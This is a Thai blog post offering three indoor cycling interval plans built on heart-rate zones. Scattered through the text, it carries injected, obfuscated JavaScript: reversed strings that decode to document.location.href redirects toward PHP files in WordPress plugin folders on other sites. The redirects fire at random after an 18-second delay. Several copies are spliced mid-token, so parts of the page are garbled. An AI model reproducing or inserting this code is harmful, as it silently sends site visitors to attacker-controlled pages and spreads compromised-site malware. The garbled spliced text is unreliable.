ในวันที่สภาพอากาศเต็มไปด้วยฝุ่น PM2.5 เเละการเเพร่ระบาดของไวรัสหวัดโคโรนา นักปั่นหลายท่านอาจจะไม่อยากออกนอกบ้านไปปั่นจักรยานเเล้วก็ได้ เเต่ถ้าท่านมี Trainner อยู่ที่บ้าน เราขอเสนอ 3 เเผนฝึกปั่นจักรยานเเบบ Indoor ที่ใช้เวลาประมาณ 1 ชั่วโมง
3 เเผนฝึกปั่น Indoor cycling
การปั่นจักรยานเเบบ Indoor ทำได้ง่าย กินพื้นที่เเละเวลาในการเตรียมตัวน้อย สามารถควบคุมตัวเเปรเเละปัจจัยได้เต็มที่ เเม้จะไม่ได้ฝึกการปรับตัวตามสถานการณ์จริงเเบบ Outdoor ก็ตาม เเต่ให้ผลอย่างมีนัยสำคัญต่อ performance ของนักปั่น
{if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])==)
to-1470299067034-07c696e9ef07?ixlib=rb-1.2.1&auto=format&fit=crop&w=996&q=80″ alt=””/>แผนที่ 1
- warm up 10 นาที เพื่อปรับร่างกายเข้าสู่โซนสอง
- Easy pedaling ควงขาปั่นระดับโซน 2 เป็นเวลา 30 วินาที ทำซ้ำ 3 เซต
- ปั่นโซน 2 เป็นเวลา 3 นาที
- ปั่นโซน 3 เป็นเวลา 2 นาที
- ปั่นเบาๆ เพื่อ recovery อีก 2 นาที
- เข้า Main set เเนะนำทำ 4 เซต
- ปั่นที่ระดับ 85–90% HR 3 นาที
- ปั่นที่ระดับ 95–100% HR 2 นาที
- ปั่นเบา 3 นาที เพื่อดึงให้ HR กลับมาที่โซนสอง
- ปั่นในระดับโซนสอง 60% HR อีก 2 นาที
- จบด้วยการ Cool down ปั่นควงขาเกียร์เบา สัก 5-10 นาที
to-1499871435582-a1d4ff236842?ixlib=rb-1.2.1&auto=format&fit=crop&w=1050&q=80″ alt=””/>แผนที่ 2
- เริ่มการ warm up คล้ายๆ กับเเบบที่สอง โดยการ warm up 10 นาที เพื่อปรับร่างกายเข้าสู่โซนสอง
- Easy pedaling ควงขาปั่นระดับโซน 2 เป็นเวลา 30 วินาที ทำซ้ำ 3 เซต
- ปั่นโซน 2 เป็นเวลา 3 นาที
- ปั่นโซน 3 เป็นเวลา 2 นาที
- ปั่นเบาๆ เพื่อ recovery อีก 2 นาที
- เข้า Main set เเนะนำทำ 4 เซต
- ปั่นที่ระดับ 85–90% HR 4 นาที
- ปั่นที่ระดับ 95–100% HR 1 นาที
- ปั่นเบา 3 นาที เพื่อดึงให้ HR กลับมาที่โซนสอง
- ปั่นในระดับโซนสอง 60% HR อีก 2 นาที
- จบด้วยการ Cool down ปั่นควงขาเกียร์เบา สัก 5-10 นาที
to-1512588849475-7bcf318c75c4?ixlib=rb-1.2.1&auto=format&fit=crop&w=1050&q=80″ alt=””/>แผนที่ 3
- เริ่มการ warm up คล้ายๆ กัน โดยการ warm up 10 นาที เพื่อปรับร่างกายเข้าสู่โซนสอง
- Easy pedaling ควงขาปั่นระดับโซน 2 เป็นเวลา 30 วินาที ทำซ้ำ 3 เซต
- ปั่นโซน 2 เป็นเวลา 3 นาที
- ปั่นโซน 3 เป็นเวลา 2 นาที
- ปั่นเบาๆ เพื่อ recovery อีก 2 นาที
- เข้า Main set เเนะนำทำ 4 เซต
- ปั่นที่ระดับ 85–90% HR 4 นาที
- ปั่นที่ระดับ 95–100% HR 2 นาที
- ปั่นเบา 2 นาที เพื่อดึงให้ HR กลับมาที่โซนสอง
- ปั่นในระดับโซนสอง 60% HR อีก 2 นาที
- จบด้วยการ Cool down ปั่นควงขาเกียร์เบา สัก 5-10 นาที
ในแบบการฝึก ถ้าคุณฝึกปั่นอยู่เเล้ว 3-4 ครั้งต่อสัปดาห์ เราเเนะนำให้เลือกเเค่ 2 เเผนฝึกต่อสัปดาห์ก็พอ เเต่ถ้าคุณฝึกหนัก 5-6 ครั้งต่อสัปดาห์ เราเเนะนำให้เลือกฝึกทั้ง 3 เเผน ทั้งก็อย่าลืมเผื่อเวลาพักฟื้นให้ร่างกายด้วย
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</alex<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andra-gorn-smuS_jUZa9I-unsplash-75x75.jpg)
